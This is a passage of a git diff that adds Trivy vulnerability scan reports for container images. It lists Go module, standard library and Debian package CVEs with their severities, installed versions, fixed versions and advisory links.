├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ │ │ v1.17.11 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-22869 │ │ │ v0.32.0 │ 0.35.0 │ golang.org/x/crypto/ssh: Denial of Service in the Key │ +│ │ │ │ │ │ │ Exchange of golang.org/x/crypto/ssh │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22869 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-47913 │ │ │ │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┤ ├──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.34.0 │ │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/oauth2 │ CVE-2025-22868 │ │ │ v0.25.0 │ 0.27.0 │ golang.org/x/oauth2/jws: Unexpected memory consumption │ +│ │ │ │ │ │ │ during token parsing in golang.org/x/oauth2/jws │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22868 │ +├───────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.21.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├───────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.70.0 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├───────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.23.6 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└───────────────────────────────┴─────────────────────┴──────────┴──────────┴──────────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-redis.txt b/evidence/trivy-redis.txt new file mode 100644 index 0000000..1456df0 --- /dev/null +++ b/evidence/trivy-redis.txt @@ -0,0 +1,534 @@ + +Report Summary + +┌────────────────────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├────────────────────────────────┼──────────┼─────────────────┤ +│ /scan/image.tar (debian 12.11) │ debian │ 71 │ +├────────────────────────────────┼──────────┼─────────────────┤ +│ usr/local/bin/gosu │ gobinary │ 60 │ +└────────────────────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +/scan/image.tar (debian 12.11) +============================== +Total: 71 (HIGH: 64, CRITICAL: 7) + +┌────────────────────┬─────────────────┬──────────┬──────────────┬────────────────────┬────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ apt │ CVE-2026-109518 │ HIGH │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ bsdutils │ CVE-2026-53613 │ │ affected │ 1:2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gpgv │ CVE-2025-68973 │ │ fixed │ 2.2.40-1.1 │ 2.2.40-1.1+deb12u2 │ GnuPG: GnuPG: Information disclosure and potential arbitrary │ +│ │ │ │ │ │ │ code execution via out-of-bounds write... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68973 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gzip │ CVE-2026-41992 │ │ fix_deferred │ 1.12-1 │ │ gzip: gzip: Information disclosure via global buffer │ +│ │ │ │ │ │ │ overflow in LZH decompression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41992 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libacl1 │ CVE-2026-54369 │ │ │ 2.3.1-3 │ │ acl: Symlink traversal privilege escalation via libacl │ +│ │ │ │ │ │ │ functions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-54369 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libapt-pkg6.0 │ CVE-2026-109518 │ │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libblkid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libcap2 │ CVE-2026-4878 │ │ fixed │ 1:2.66-4+deb12u1 │ 1:2.66-4+deb12u3 │ libcap: libcap: Privilege escalation via TOCTOU race │ +│ │ │ │ │ │ │ condition in cap_set_file() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-4878 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgnutls30 │ CVE-2026-33845 │ CRITICAL │ │ 3.7.9-2+deb12u4 │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via DTLS zero-length │ +│ │ │ │ │ │ │ fragment │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33845 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42010 │ │ │ │ │ gnutls: gnutls: Authentication Bypass via NUL Character in │ +│ │ │ │ │ │ │ Username │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42010 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-32988 │ HIGH │ │ │ 3.7.9-2+deb12u5 │ gnutls: Vulnerability in GnuTLS otherName SAN export │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-32988 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-32990 │ │ │ │ │ gnutls: Vulnerability in GnuTLS certtool template parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-32990 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33846 │ │ │ │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via heap buffer overflow │ +│ │ │ │ │ │ │ in DTLS handshake... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33846 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-3833 │ │ │ │ │ gnutls: GnuTLS: Policy bypass due to case-sensitive │ +│ │ │ │ │ │ │ nameConstraints comparison │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-3833 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42009 │ │ │ │ │ gnutls: gnutls: Denial of Service via DTLS packet reordering │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42009 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libmount1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpam-modules │ CVE-2025-6020 │ │ fixed │ 1.5.2-6+deb12u1 │ 1.5.2-6+deb12u2 │ linux-pam: Linux-pam directory Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6020 │ +├────────────────────┤ │ │ 